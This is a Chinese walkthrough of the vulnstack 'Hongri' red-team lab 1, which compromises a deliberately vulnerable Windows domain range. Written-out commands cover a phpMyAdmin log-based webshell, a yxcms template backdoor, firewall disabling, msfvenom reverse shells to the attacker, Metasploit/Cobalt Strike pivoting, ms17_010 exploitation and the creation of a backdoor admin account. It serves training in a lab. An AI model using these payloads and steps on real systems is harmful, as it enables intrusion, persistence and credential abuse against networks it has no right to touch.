ATT&CK实战系列——红队实战(一)红日靶场1

目录

  • 靶场搭建
    • 拓扑图
    • 配置网络
  • 外网打点web服务器
    • 信息搜集
      • nmap扫端口服务
      • dirsearch目录扫描
    • phpmyadmin日志getshell
    • yxcms
      • 后台getshell
      • xss
    • 关闭win7防火墙
  • 上线msf&cs
    • 上线msf
    • 上线cs
    • msf传cs
    • cs传msf
  • 开代理
    • cs+msf/Proxifer
    • msf+proxychains
  • 内网信息搜集
    • 基本信息搜集
      • 存活主机
      • 端口扫描
      • 服务探测
    • nmap的vuln漏洞扫描
    • ms17_010扫描
  • 内网攻击
    • ms08_068
    • ms17_010

靶场搭建

靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

靶机下载完成后解压,使用vmware打开虚拟机,有三台虚拟机:Win7、Win2003、Win2008

默认密码hongrisec@2019

拓扑图

注意看网络分布。
ATT&CK实战系列——红队实战(一)红日靶场1_第1张图片
(图中ip有变)

配置网络

登录进去之后,首先我们要设置好网络。

  • Win7作为Web服务器需要有一个外网网卡。打开虚拟机设置,点击下面的添加,选择添加网络适配器。现在Win7就有2个网卡了。点击第一个网络适配器,设置成仅主机模式。第二个网络适配器设置成桥接模式,设置桥接模式的时候win7会弹出来一个界面,我们选择公用网络。
  • Win2k3Win2008的网络适配器设置成仅主机模式
  • kali的网络适配器设置成桥接模式

设置虚拟网络配置:点击vmware的编辑–>虚拟网络编辑器,我是设置成这样:
ATT&CK实战系列——红队实战(一)红日靶场1_第2张图片
然后发现仅主机模式的虚拟机执行ipconfig命令显示的不是192.168.10.0的网段,是因为手动分配了地址,我们改成自动分配地址就好了。

打开虚拟机的网络适配器:
ATT&CK实战系列——红队实战(一)红日靶场1_第3张图片
右键属性–>双击IPv4–>选择自动获得IP地址和DNS服务地址。
ATT&CK实战系列——红队实战(一)红日靶场1_第4张图片
这个操作对每个需要用到的网卡都 要做。

然后多试几次ipconfig ,若还是有问题,把网卡禁用再重启。最后互相ping一下保证连通(Win7有防火墙,kali ping不通它)

然后将域内的主机的DNS服务器地址改成Win2008(域控)的ip地址。

主机 密码 IP 描述
Win7 hongrisec@2019 192.168.10.131/192.168.43.141 web服务器
Win2K3 admin@123 192.168.10.129 域成员
Win2008 admin#123 192.168.10.130 域控
kali 192.168.43.19 攻击机

win7开启phpstudy,对外提供web服务。

外网打点web服务器

信息搜集

nmap扫端口服务

nmap扫(开防火墙后ping不了都

namp 192.168.43.141

ATT&CK实战系列——红队实战(一)红日靶场1_第5张图片
80端口开放。

dirsearch目录扫描

dirsearch -u http://192.168.43.141/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429

ATT&CK实战系列——红队实战(一)红日靶场1_第6张图片
发现phpmyadmin,测试弱密码root/root,成功进入。

phpmyadmin日志getshell

通过

select @@basedir

查找绝对路径.

尝试用into outfile写马,但是失败。

SHOW GLOBAL VARIABLES LIKE '%secure%'
#查看数据库是否有导入权限,看能否直接导入木马
#secure_file_priv是NULL没有权限

尝试利用日志get shell

phpMyAdmin 渗透利用总结 - 腾讯云开发者社区-腾讯云 (tencent.com)

(1) 开启日志记录:

set global general_log = "ON";

(2) 查看当前的日志目录:

show variables like 'general%';

(3) 指定日志文件

set global general_log_file = "C:/phpStudy/WWW/404.php";

(4) 写入执行代码:

select "";

把下面代码放到查询框执行即可:

set global general_log = "ON";
show variables like 'general%';
set global general_log_file = "C:/phpStudy/WWW/404.php";
select "";#一次没成功就把这句再执行

然后用菜刀连接
ATT&CK实战系列——红队实战(一)红日靶场1_第7张图片
直接就是administrator

然后要让它上线msf和cs

yxcms

后台getshell

用菜刀连接后,发现目录里还存在另外一个网站yxcms

通过观察发现网站公告有后台地址与账号密码:
ATT&CK实战系列——红队实战(一)红日靶场1_第8张图片
登录后台后,点击前台模板–>新建,写一个后门文件。

浏览器搜索yxcms的模板文件路径,然后访问我们的后门文件从而getshell。

http://192.168.43.141/yxcms/protected/apps/default/view/default/shell.php

xss

在留言本留言xss,然后在后台查看,发现弹窗:
ATT&CK实战系列——红队实战(一)红日靶场1_第9张图片

关闭win7防火墙

netsh advfirewall set allprofiles state off

上线msf&cs

上线msf

利用msfvenom创建一个后门程序:

msfvenom -p windows/meterperter_reverse_tcp LHOST=192.168.43.19 LPORT=12345 -f exe -o 12345.exe

利用菜刀上传到Win7上。

然后msf开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.43.19
set lport 12345
run

利用菜刀的虚拟终端运行我们的后门程序。
ATT&CK实战系列——红队实战(一)红日靶场1_第10张图片
然后就成功上线msf了
ATT&CK实战系列——红队实战(一)红日靶场1_第11张图片
可以getsystem提权

getsystem

ATT&CK实战系列——红队实战(一)红日靶场1_第12张图片

上线cs

在kali启动服务端

./teamserver 192.168.43.19 12345

ATT&CK实战系列——红队实战(一)红日靶场1_第13张图片
然后生成CS后门
ATT&CK实战系列——红队实战(一)红日靶场1_第14张图片
后门通过菜刀上传,然后执行,接着就会在CS上线了。

msf传cs

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost 192.168.43.19
set lport 8888		#这里的ip端口要和CS的监听ip端口一样
set session 3
run

ATT&CK实战系列——红队实战(一)红日靶场1_第15张图片

在win10的CS上观察,发现成功上线CS。

cs传msf

在CS上建立新的foreign监听:
ATT&CK实战系列——红队实战(一)红日靶场1_第16张图片

在msf配置session,端口一致

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.43.19
set lport 7777
run

之后在CS上新建会话,选用新建的foreign监听:
ATT&CK实战系列——红队实战(一)红日靶场1_第17张图片
最后观察到联动成功
ATT&CK实战系列——红队实战(一)红日靶场1_第18张图片

开代理

cs+msf/Proxifer

在CS上建立SOCKS

ATT&CK实战系列——红队实战(一)红日靶场1_第19张图片

可以通过view–>proxy pivots来观察proxy pivots模块。

msf要使用这个代理就选中后点击Tunnel

打开msf,复制下面的进去:

setg Proxies socks4:192.168.43.19:1080

还可以使用Proxifer实现全局代理
ATT&CK实战系列——红队实战(一)红日靶场1_第20张图片

msf+proxychains

run post/multi/manage/autoroute		#新建路由
run autoroute -p					#查看路由信息

挂起会话,建立socks:

background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 127.0.0.1
run

使用

jobs

查看状态
ATT&CK实战系列——红队实战(一)红日靶场1_第21张图片

修改proxychain文件

vim /etc/proxychains.conf
###
最后一行改成
socks4 127.0.0.1 1080 

然后在使用的工具前面加上proxychains就可以了,比如:

proxychains4 nmap -Pn -sT 192.168.10.129

内网信息搜集

基本信息搜集

systeminfo
net view
run post/windows/gather/enum_applications	#安装的软件信息

存活主机

使用msf内置模块进行存活主机探测

auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机

使用arp_scanner模块

use post/windows/gather/arp_scanner
set rhosts 192.168.10.0/24
set session 0		#这里填background后的sessionid
run

ATT&CK实战系列——红队实战(一)红日靶场1_第22张图片

或者直接用命令

arp -a

端口扫描

内网主机端口扫描:

proxychains nmap -Pn -sT 192.168.10.129

基于tcp进行端口扫描(默认扫描1-10000)

auxiliary/scanner/portscan/tcp         

服务探测

内网主机服务探测

auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title                 #探测内网http服务的标题
auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字

nmap的vuln漏洞扫描

之前通过基本信息搜集发现win7有nmap

找到nmap路径,利用菜刀的虚拟终端执行:

nmap --script=vuln 192.168.10.129

ATT&CK实战系列——红队实战(一)红日靶场1_第23张图片
ATT&CK实战系列——红队实战(一)红日靶场1_第24张图片

发现192.168.10.129(win2k3)可能有ms17_010\ms08_067漏洞

扫一下192.168.10.130(win8k)

nmap --script=vuln 192.168.10.130

ATT&CK实战系列——红队实战(一)红日靶场1_第25张图片

可能有ms17_010漏洞。

ms17_010扫描

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.10.129
run

ATT&CK实战系列——红队实战(一)红日靶场1_第26张图片

说明192.168.10.129(win2k3)有这个漏洞

再扫下192.168.10.130(win2008)
ATT&CK实战系列——红队实战(一)红日靶场1_第27张图片

发现确实是有的

内网攻击

ms08_068

nmap扫出来192.168.10.129(win2k3)可能有ms08_067漏洞。所以我们试试。

use exploit/windows/smb/ms08_067_netapi
set rhosts 192.168.10.129
run

不稳定,没打成功。

ms17_010

use auxiliary/admin/smb/ms17_010_command
set command net user
set rhosts 192.168.10.129
run

运行成功

尝试添加用户

set command net user ja1e428 ja1e@428 /add	
#这里的密码要满足复杂度不然会报错

再次set command net userrun执行,发现成功。

然后把添加的用户加入管理员组:

set command net localgroup administrators ja1e428 /add

在这里插入图片描述

成功

利用23端口telnet服务上传漏洞,首先通过ms17_010开启23端口与telnet服务

set command sc config tlntsvr start= auto
run
set COMMAND net start telnet
run

查看是否成功打开23端口

set command netstat -an
run

进行telnet连接

use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.10.129
set username ja1e428
set password ja1e@428
run
sessions	#可以看到shell

尝试利用telnet,失败了。

但是可以利用proxychains工具连接成功(要开启msf的socks反向代理哦

proxychains telnet 192.168.10.129
ja1e428
ja1e@428

成功拿下192.168.10.129这台域成员主机。

利用ms17_010测试一下win2008,也是成功的。这两台域内主机都可以用ms17_010拿下。

你可能感兴趣的:(内网,网络,服务器,linux,安全,web安全)